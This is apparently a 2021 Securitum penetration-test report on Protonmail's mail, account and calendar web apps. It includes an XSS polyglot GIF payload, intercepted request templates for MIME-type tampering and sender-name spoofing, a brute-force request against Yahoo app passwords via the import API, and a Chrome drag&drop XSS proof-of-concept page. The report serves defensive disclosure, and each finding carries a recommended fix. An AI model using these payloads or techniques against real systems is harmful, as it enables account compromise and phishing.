Protonmail Security Audit
Protonmail Security Audit
SUBJECT
Penetration testing of beta.protonmail.com, account.protonmail.com and
calendar.protonmail.com web applications, in blackbox and whitebox approach
DATE
22.04.2021 – 14.05.2021
LOCATION
Cracow, Poland
Wroclaw, Poland
AUDITORS
Marek Rzepecki
Piotr Izak
Michał Bentkowski
VERSION
1.0
Executive summary
This document is a summary of work conducted by Securitum. The subject of the tests were the
following web applications:
The tests were carried out by using Blackbox and Whitebox approaches. The latter were based on
the publicly available source code, downloaded from the organization’s github.com repository:
• Reflected Cross-Site Scripting - possibility to inject JavaScript code into the image attached
to the email
During the tests, particular emphasis was placed on vulnerabilities that might affect confidentiality,
integrity or availability of processed data in a negative way.
The security tests were carried out in accordance with generally accepted methodologies, including:
OWASP TOP10 (in a selected range), OWASP ASVS as well as internal good practices of
conducting security tests developed by Securitum.
As a part of the testing, an approach based on manual tests (using the above-mentioned
methodologies) was used, supported by a number of automatic tools, i.a. Burp Suite Professional,
DirBuster, ffuf, nmap, Visual Studio Code, semgrep, grep, sonarqube.
• HIGH - exploitation of the vulnerability makes it possible to access sensitive data (similar
to CRITICAL level), however the prerequisites for the attack (e.g. possession of a user
account in an internal system) makes it slightly less likely. Alternatively: the vulnerability
is easy to exploit but the effects are somehow limited.
• LOW - the exploitation of the vulnerability results in little direct impact on the security of
the application or depends on conditions that are very difficult to achieve practically (e.g.
physical access to the server).
• INFO - issues marked as INFO are not security vulnerabilities per se. They aim to point
out good practices, whose implementation will result in increase of general security level
of the system. Alternatively: the issues point out some solutions in the system (e.g. from
an architectural perspective) that might limit the negative effects of other vulnerabilities.
Statistical overview
Below, a statistical overview of vulnerabilities is shown:
CRITICAL
HIGH
MEDIUM
LOW
INFO
0 1 2 3 4 5 6 7 8
o SECURITUM-212671-WEB-003
o SECURITUM-212671-WEB-004
o SECURITUM-212671-WEB-005
o SECURITUM-212671-WEB-006
o SECURITUM-212671-WEB-007
o SECURITUM-212671-WEB-008
o SECURITUM-212671-WEB-009
o SECURITUM-212671-WEB-010
• SECURITUM-212671-WEB-001 - SECURITUM-
212671-WEB-002
• SECURITUM-212671-CODE-001 - SECURITUM-
212671-CODE-003
SUMMARY
The tested application is vulnerable to a Reflected Cross-Site Scripting attack. An attacker may
perform unauthorized operations in the application, by injecting an HTML/JavaScript code into an
image file, which is sent to another user, and then convincing him or her to open it.
More information:
• https://owasp.org/www-community/attacks/xss/
• https://cwe.mitre.org/data/definitions/79.html
1. Create an image containing the JavaScript code. Below is an example of a file, pretending a
valid image and a Cross-Site Scripting payload:
GIF89a/*<svg/onload=alert(document.domain)>*//;
2. Create a new email message and add the above file as an inline attachment:
3. Intercept the request of sending an image to the server, change the file MIMEType to
text/html (highlighted in yellow in the below snippet), and send the email:
-----------------------------134143024217358631803631296406
Content-Disposition: form-data; name="Filename"
xss.gif
-----------------------------134143024217358631803631296406
Content-Disposition: form-data; name="MessageID"
ir4z-LKImDY6uEv3R6qTUC7GVsiJm0RIr3DGT_gsP7V0B-gAg0AaHVFdBVdotjfZ62C-5O7uU-EurL1__US7AQ==
-----------------------------134143024217358631803631296406
Content-Disposition: form-data; name="ContentID"
[email protected]
-----------------------------134143024217358631803631296406
Content-Disposition: form-data; name="MIMEType"
text/html
-----------------------------134143024217358631803631296406
Content-Disposition: form-data; name="KeyPackets"; filename="blob"
Content-Type: application/octet-stream
ÁÀL Ã
5. A victim may attempt to display the image by right-clicking the empty field and pressing “Open
image in new tab”. The XSS payload will be executed:
1. Create a new email and add a crafted SVG image as an attachment (does not need to be an
inline image) to the message and send it. Below is an example payload:
To display it, one has to click the name of a file. The image will open in the preview:
LOCATION
The functionality of adding an image to the email, in beta.protonmail.com application.
RECOMMENDATION
In general, it is recommended that user-supplied content (such as images, attachments) are hosted
in a separate domain. For instance, Google has a main domain google.com, while all user content is
hosted on googleusercontent.com. Thanks to this approach, even if a code gets executed on
googleusercontent.com, it has no access to the main domain.
More information:
• https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_S
heet.html
• https://owasp.org/www-community/xss-filter-evasion-cheatsheet
• https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
SUMMARY
The analysis showed that it is possible to use Import & Export e-mails feature to brute-force access
to Yahoo (https://yahoo.com) account. The Proton application in no way limits the number of
incorrectly performed login attempts to Yahoo’s account. By sending the API call to the ProtonMail
application multiple times, an attacker is able to perform a "Brute Force" attack and thus try to break
the Yahoo users’ passwords - which in effect may lead to access to their accounts. This means, that
an attacker may be able to use Protonmail to “Brute Force” passwords in a third-party application.
More information:
• https://owasp.org/www-community/attacks/Brute_force_attack
• https://wiki.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)
Assuming that the Yahoo user has configured the account according to Proton configuration guide
(generated app password in Yahoo account), a bad actor can perform a brute-force attack on the
app password.
The process may have been fully automated. It is enough that the attacker uses the Burp Suite
application (“Intruder” module) or writes a script that will send the following request:
{"Email":"[valid-email-
address]@yahoo.com","ImapHost":"imap.mail.yahoo.com","ImapPort":993,"Sasl":"PLAIN","Code":"[app-
password]"}
Generated app password consists of 16 small letters only. Below is an example of generated app
password:
Considering time required to perform attack, only last two letters were brute-forced. During the tests,
349 failed attempts to log in to the test account with an incorrect password.
LOCATION
https://account.protonmail.com/api/mail/v4/importers
RECOMMENDATION
It is recommended to limit the number of failed connections attempts to Yahoo account.
More information:
• https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
SUMMARY
During the testing, it was observed that the application did not have an implemented strong password
policy. Lack of strong policy allows users to set simple passwords that can then be cracked by the
attacker.
More information:
• https://wiki.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007)
• https://cwe.mitre.org/data/definitions/521.html
During the account creation process it was noticed that password can contain only numbers.
To create account with weak password, take the following steps:
During the tests, it was possible to set a password consisting only of numbers:
4. Type simple password (in other words: dictionary password) such as following:
The second password in “Two-password mode” has the same password policy and it is possible to
set the same second password as the login password:
1. Log into any with Visionary Plan account for instance: [email protected].
2. Navigate to Settings > Organization & Keys and click “Change password”:
The same (weak) password policy is applied during generation of new organization keys.
LOCATION
Case #1:
• https://account.protonmail.com/signup
• https://account.protonmail.com/u/3/mail/authentication
Case #4:
• https://account.protonmail.com/u/1/mail/organization-keys
RECOMMENDATION
It is recommended to implement the requirements regarding password complexity, in particular:
It should be noted that some systems still force the configuration of password complexity or
expiration. Therefore, as a transitional solution (not considered as completely secure) one may
temporarily set the following (until the above policy is fully implemented):
Access to the sensitive functionalities and systems should always force reauthentication.
It is also worth considering implementing functionality that will verify the strength of the password -
this helps to limit the risk that despite the restrictions users will create simple passwords.
It is recommended to prevent setting the same second password in “Two-password mode” as the
“Login password”.
More information:
• https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
SUMMARY
During the audit, it was observed that the tested application returns redundant information in the
HTTP response headers about the technologies used. This behavior can help attackers to better
profile the application environment, which can then be used to carry out further attacks.
More information:
• https://wiki.owasp.org/index.php/Testing_for_Web_Application_Fingerprint_(OWASP-IG-
004)
• https://github.com/OWASP/OWASP-Testing-Guide/wiki/4.2.2-Fingerprint-Web-Server-
(OTG-INFO-002)
Case #2:
During the account creation process, as recovery e-mail, the attackers’ server address was set.
Application sent the following HTTP request revealing Squid version (x.scrt.pl is a domain controlled
by Auditors, used during the tests):
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Host: [cut].x.scrt.pl
Via: 1.1 vmk-squid-01.plabs.ch (squid/3.5.20)
X-Forwarded-For: [cut]
Cache-Control: max-age=259200
Connection: keep-alive
API endpoint responsible for error reporting can be forced to invoke HTTP requests to the attacker’s
server (see: SECURITUM-212589-WEB-004: Interaction with external service) revealing Sentry
version (x.scrt.pl is a domain controlled by Auditors, used during the tests):
LOCATION
Case #1:
• Squid server
Case #2:
• Sentry system
RECOMMENDATION
It is recommended to remove all unnecessary headers from the HTTP responses that reveal
information about the technologies used.
SUMMARY
During the tests, it was found that it is possible to spoof and change the name of a sender and
receiver of a message. Such behavior may allow to perform a phishing attack, impersonate other
users and cause business-related consequences.
Due to the fact that it was not possible to verify if the behavior is known by Protonmail,
and if it is not intended, the severity of this vulnerability was marked as INFO.
Each time the message is being edited, an application saves its content as a draft and
the below request is sent in the background:
PUT
/api/mail/v4/messages/MzBZxdiDX_ULXDk6ShEr2GQg_8I1tBdVTPyJww24zCWmOV1dXaCFzuB_jnNY3vmHP9LybI9OMRA
_aZEUFz5zeQ== HTTP/1.1
Host: beta.protonmail.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/vnd.protonmail.v1+json
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer:
https://beta.protonmail.com/u/0/sent/5gDcAf4Qrs9oC9EYruI11BgvLfDBYDlBYL1L81Go4ErUUQDy0j6ErkM6I2B7
jz0yqfUmHHXMfD01jb4E5IAf_A==/XNVmScfCRSr3s9AMER3qbaoXJfk0BV7s7mSGVCKMQHeH_fmHI0B5ax6FX2KOnOPnGjZj
CnHqq6CZP9YbZ1Cxug==
x-pm-appversion: WebMail_4.1.37
x-pm-uid: [cut]
Content-Type: application/json
Origin: https://beta.protonmail.com
Content-Length: 2459
Connection: close
Cookie: [cut]
{"Message":{"ToList":[{"Name":"secaudit2","Address":"[email protected]","ContactID"
:"7XAh-IlodEfSOXGiTQ2LsA1L9F93oFy3nmTo6VyMa5OTJkqluHDpCBnZTqgQ49fOgt74-
MvmuGEpBt0K6L2WzQ=="}],"CCList":[{"Name":"secaudit6","Address":"[email protected]",
"ContactID":"w3Gqwxi4k5f-dBBQAOWY4qKPCLACH0HbotPj_B9laC2h-
qSsQnWecsSdrPRsm9kR8WeM78xfbds4xFB30EE8zQ=="}],"BCCList":[],"Subject":"test","Attachments":[],"MI
METype":"text/html","RightToLeft":0,"Flags":0,"Sender":{"Name":"securityauditor1","Address":"secu
[email protected]"},"AddressID":"upRgtEjOa0FoNoeyx_2XLU7IeWxjkp5tTRdKkoBgif8dPjHHKoLGW_
lweNpkYia1GwIv8VO_Ktw3vd2o2Y9XeQ==","Unread":0,"ID":"MzBZxdiDX_ULXDk6ShEr2GQg_8I1tBdVTPyJww24zCWm
By intercepting the above request and changing the Name parameters highlighted, the attacker
may send an email, pretending to be a different sender and that it was sent to another user.
In this example, the name of the sender was changed to “LEGITIMATE USER”, the receiver
- “HELPDESK” and the CC’d person - “MANAGEMENT”.
4. Victim receives the message. The names of the people involved in the conversation are
changed:
Thus, when next time the victim tries to send a new email, the spoofed address will be displayed on
top of the list:
This may cause unexpected behavior, e.g. allow to perform phishing or convince the victim to send
an email to the wrong address.
LOCATION
The functionality of creating a new email message, in beta.protonmail.com application.
RECOMMENDATION
It is recommended to verify if the behavior described in the TECHNICAL DETAILS section is
expected. If not, the application should implement a mechanism preventing the spoofing of names
of the participants.
SUMMARY
During the assessment, it was noticed that once any error occurs in the application, the API with the
error report is invoked and sent to the Sentry system. Auditor set URLs within the API report request
to the attackers’ server and after few seconds a series of HTTP and DNS requests were received.
It was noticed that HTTP requests were not triggered immediately after the malicious request was
sent but after some time what suggests that HTTP requests were sent after the Client’s operator
activity.
Such behavior can be used by a bad actor to gain knowledge about infrastructure. Moreover, in case
of vulnerability discovery in the 3rd party system, the system can be exploited.
{"exception":{"values":[{"type":"StatusCodeError","value":"Unprocessable
Entity","stacktrace":{"frames":[{"colno":390843,"filename":"https://[cut].x.scrt.pl/7.b4458c98.ch
unk.js","function":"async
onSubmit","in_app":true,"lineno":1},{"colno":390886,"filename":"https://[cut].x.scrt.pl/7.b4458c9
8.chunk.js","function":"async","in_app":true,"lineno":1},{"colno":23807,"filename":"https://[cut]
.x.scrt.pl/vendors~index.45268d87.chunk.js","function":"?","in_app":true,"lineno":56},{"colno":36
Details of one of the requests captured (sent to attacker’s server from Sentry system. x.scrt.pl is a
domain controlled by Auditors, used during the tests):
LOCATION
https://account.protonmail.com/api/reports/sentry/api/64/store
RECOMMENDATION
It is recommended to prevent external requests made by Sentry and other 3rd party tools.
SUMMARY
During the tests, it was found applications use the Content-Security-Policy mechanism, however, it
is implemented in a way that may allow to execute a JavaScript code, in case of finding an XSS
vulnerability.
As it may be observed, the style-src definition contain an unsafe-inline flag (highlighted in yellow).
In case if an attacker discovers a possibility to inject a JavaScript code into such element, he or she
may perform a Cross-Site Scripting attack.
LOCATION
Each of the tested applications:
• account.protonmail.com
• beta.protonmail.com
• calendar.protonmail.com
RECOMMENDATION
It is recommended to verify if the unsafe-inline flag is necessary. If not, it should be removed.
SUMMARY
It was observed that HTTP responses contain X-XSS-Protection header. This header is not
supported anymore by majority of the browsers (such as Chrome, Mozilla Firefox, Microsoft Edge),
and in very rare and specific cases may open an application to the XS-Leak vulnerability. The role
of X-XSS-Protection header was taken over by a Content-Security Policy mechanism.
More information:
• https://markitzeroday.com/headers/content-security-policy/2018/02/10/x-xss-protection.html
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection
• https://portswigger.net/daily-swig/google-deprecates-xss-auditor-for-chrome
• https://owasp.org/www-pdf-archive/AppSecIL2015_Cross-Site-Search-
Attacks_HemiLeibowitz.pdf
HTTP/1.1 200 OK
date: Fri, 07 May 2021 13:12:27 GMT
cache-control: max-age=0, must-revalidate, no-cache, no-store, private
expires: Fri, 04 May 1984 22:15:00 GMT
access: application/vnd.protonmail.api+json;apiversion=3
vary: Accept-Encoding
set-cookie: Session-Id=[cut]; Domain=protonmail.com; Path=/; HttpOnly; Secure; Max-Age=7776000
set-cookie: Version=default; Path=/; Secure; Max-Age=7776000
Content-Length: 449
content-type: application/json
content-security-policy: default-src 'self'; connect-src 'self' blob:; script-src 'self' blob:
'sha256-eAhF1Kdccp0BTXM6nMW7SYBdV0c3fZwzcC177TQ692g='; style-src 'self' 'unsafe-inline'; img-src
http: https: data: blob: cid:; frame-src 'self' blob: https://secure.protonmail.com
https://calendar-api.protonmail.com; object-src 'self' blob:; child-src 'self' data: blob:;
report-uri https://reports.protonmail.ch/reports/csp; frame-ancestors 'none';
strict-transport-security: max-age=31536000; includeSubDomains; preload
expect-ct: max-age=2592000, enforce, report-uri="https://reports.protonmail.ch/reports/tls"
public-key-pins-report-only: pin-sha256="8joiNBdqaYiQpKskgtkJsqRxF7zN0C0aqfi8DacknnI="; pin-
sha256="drtmcR2kFkM8qJClsuWgUzxgBkePfRCkRpqUesyDmeE="; report-
uri="https://reports.protonmail.ch/reports/tls"
x-frame-options: deny
LOCATION
Each of the tested applications:
• account.protonmail.com
• beta.protonmail.com
• calendar.protonmail.com
RECOMMENDATION
It is recommended to verify if the X-XSS-Protection header is necessary (for example, if an
application is user by a very old browsers, which do not support Content-Security Policy). If not, one
may delete it. It should be noted that its occurrence does not automatically open an application to
new vulnerabilities (as the exploitation of XS-Leaks may be very sophisticated and not possible in
each case), and this recommendation is only a suggestion, allowing for additional hardening.
SUMMARY
It was found, that in the process of creating a new event in the calendar and inviting other person, it
is possible to inject the HTML tags into the title of the event. The HTML code is executed in the
browser of recipient.
Due to the fact, that no scenario to exploit the vulnerability was discovered, it has been marked as
INFO.
2. Create a new event, place the HTML code in the title field, and invite the participant:
3. Press “Save” button and intercept the request of sending a message. Change the MIMEtype
from text/plain to text/html (highlighted in yellow in the listing below):
{"Message":{"ToList":[{"Address":"[email protected]","Name":"securityauditor6@proto
nmail.com"}],"CCList":[],"BCCList":[],"Subject":"Invitation for an event starting on Thursday May
13th, 2021 at 12:00
(GMT+2)","Sender":{"Address":"[email protected]","Name":"securityauditor1"},"Body":
"-----BEGIN PGP MESSAGE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment:
[…]","MIMEType":"text/plain","Attachments":[{"Filename":"invite.ics","MIMEType":"text/calendar;
method=request","Contents":"[…]"}],"Flags":262144},"AttachmentKeys":"[…]","AutoSaveContacts":1,"P
ackages":[{"Addresses":{"[email protected]":{"Type":1,"Signature":1,"AttachmentKeyP
ackets":["[…]"}},"MIMEType":"text/html","Body":"0ukBmGixh3iye6K6YEV4NtnrAymh++vpHnG+yNxjdPmxdesLA
ZkBC2HxV/Zda0RUPXuXOOwkSmjiSMW2p6+neHGDFZJl/VzApmUfpGxBEfOw5hcqARmQlKSp4ShysvU6LnWe34RV/8QlaN7imZ
NWHxSCSeI65dGqGsotQQXhTJMFKcKqrfiGLVOf66hlLwxDNAPmf/QkS+e3VdI0nKmX8dYtNyt330NJ3BeKqV9Jguhn2+dBqm+
Al4VkmEwSZ7OMRAxv/e2CMJbuM76jKCy1CefdREYxNnmNUpznCWIsPKRY0fouqgJRxqkKnhifAF0VY4zNk8kyR2v9fBfQz0Fh
m5PCCIrsq7ugkQNzl9KzYbh9pz9JPAhrLXbB3Jd+CComTTjVHFck/5DrD3Hi4Dq0sFxj5wXYB8nK6dThg7e5GV0Zqz++z7gQs
OXVcv3OEhFS8erX/ikrOTPqle4nLDBVJ1gGkYKRrtEx3DU/pDEd0yYtLpCSHsMpAsuZQEY95FzUmuA9P/yw7FJBF01FQU3U3x
Bm21oJ7co8clRhYHs3SptBz1v2NRV+z1sw9BohnzGGvFtkGu0HqgD+wbJ3vQKnSrx49+AGFRXqdDgR0YarvelAhFkC07bYxi7
Ck+CFu40ssR9SdLyL6RwNj2qaTpDA0zLsoNS59+Nc0DfVhtSAnXYkVDLbmKLw+AsZv5NXhratk77lqNDDepA8yPixGa2GZnei
F8vzUSzdkPDZ106zjD/TTUgBrA==","Type":1}]}
LOCATION
Process of creating a new event in calendar.protonmail.com application.
RECOMMENDATION
It is recommended to implement the mechanism of filtering the MIMEtype in a request and make it
not possible to inject HTML/JavaScript code into the event title. In case if one would find a way to
bypass the DOMPurify library and CSP, which are used to secure the application against XSS
attacks, one could potentially exploit it.
SUMMARY
This issue describes a potential XSS attack via drag&drop without a viable Proof-of-Concept.
The WYSIWYG editor used by Proton (Squire) contains protection against an XSS via copy&paste,
which involves sanitizing the pasted HTML via DOMPurify. However, drag&drop is another way to
insert an HTML code into an editor. Squire performs no sanitization on dropped content.
The basic sanitization is still performed by the browser but, coincidentally, during the assignment, a
bug in the Chrome browser was identified to bypass the browser’s sanitizer. The bug is still not
exploitable in Proton because of the Content Security Policy (and it is deemed impossible to bypass
it because of the way the attack works).
PROOF OF CONCEPT
To verify that XSS via drag&drop is possible in Chrome (tested on version 90.0.4430.93), follow the
steps below:
<!DOCTYPE html>
<style>
div {
width: 200px;
height: 200px;
background: yellow;
}
</style>
<div draggable="true">Please drag&drop me</div>
<script>
const payload = `<svg>
<use href="data:image/svg+xml,
<svg id='x' xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink'
width='100'
height='100'>
<a xlink:href='javascript:alert(/XSS!/)'>
<rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use>
</svg>`;
const div = document.querySelector("div");
div.ondragstart = (ev) => {
ev.dataTransfer.setData("text/html", payload);
};
</script>
<!DOCTYPE html>
<style>
div {
width: 100%;
height: 300px;
background: lightblue;
}
</style>
<p>Here's a WYSIWYG editor. Drop something below:</p>
<div contenteditable>Here's some text you can <b>edit</b></div>
3. Open both files in different windows of Chrome and place them next to each other.
4. Drag the rectangle from the right side and drop it to the WYSIWYG editor on the left.
5. Click the black rectangle created after dropping:
LOCATION
WYSIWYG editor (Squire)
RECOMMENDATION
It is recommended to sanitize content after drag&drop the same way that content is sanitized after
copy&paste.
SUMMARY
One of the components of the application being tested are the NPM libraries. Some of them are not
in the current versions and in addition, one can find information that it has known security
vulnerabilities.
During the tests it was not possible to prepare a working PoC using the described vulnerability,
however, the mere fact of using software with known security vulnerabilities exhausts the condition
necessary to include such information in the report.
More information:
• https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A9-
Using_Components_with_Known_Vulnerabilities
Note, that listed libraries are the cause of vulnerabilities in other, dependent libraries.
Project: proton-account
Project: proton-calendar
Project: proton-contacts
Project: proton-drive
Project: proton-mail
Project: proton-shared
Project: react-components
LOCATION
Node modules in the following projects:
• proton-account
• proton-calendar
• proton-contacts
• proton-drive
• proton-mail
• proton-shared
• react-components
RECOMMENDATION
It is recommended to update listed libraries to the latest, stable versions.
More information:
• https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Che
at_Sheet.html#keeping-javascript-libraries-updated
• https://docs.npmjs.com/cli/v7/commands/npm-audit
SUMMARY
During the code review it was noticed that some JavaScript functions are implemented insecurely
and used in a way, which may lead to Cross-Site Scripting (XSS) attack when used without any
sanitization functions (such as: sanitizationDescription function which uses DOMPurify library).
Currently, functions listed in the PoC section are not used without prior parameters sanitization but
taking into account growth of the project, it is worth to consider the risk of wrong functions usage.
More information:
• https://github.com/cure53/DOMPurify
• https://www.npmjs.com/package/dompurify
Below is a body of the urlify function – one should note that no sanitization function is used:
proton-calendar/src/app/helpers/urlify.ts
Once any user will click the link “Click here”, the JavaScript code will execute.
return document;
};
Function parseInDiv which is invoked within the setDocumentContent function, inserts value of content
variable directly to DOM tree via innerHTML property as well:
proton-mail/src/app/helpers/message/messageContent.ts
wrapper.innerHTML = element.outerHTML;
element.parentNode?.insertBefore(wrapper, element);
element.remove();
};
LOCATION
proton-calendar/src/app/helpers/urlify.ts
proton-mail/src/app/helpers/message/messageContent.ts
proton-mail/src/app/helpers/dom.ts
RECOMMENDATION
It is recommended to sanitize the function input parameter using DOMPurify library.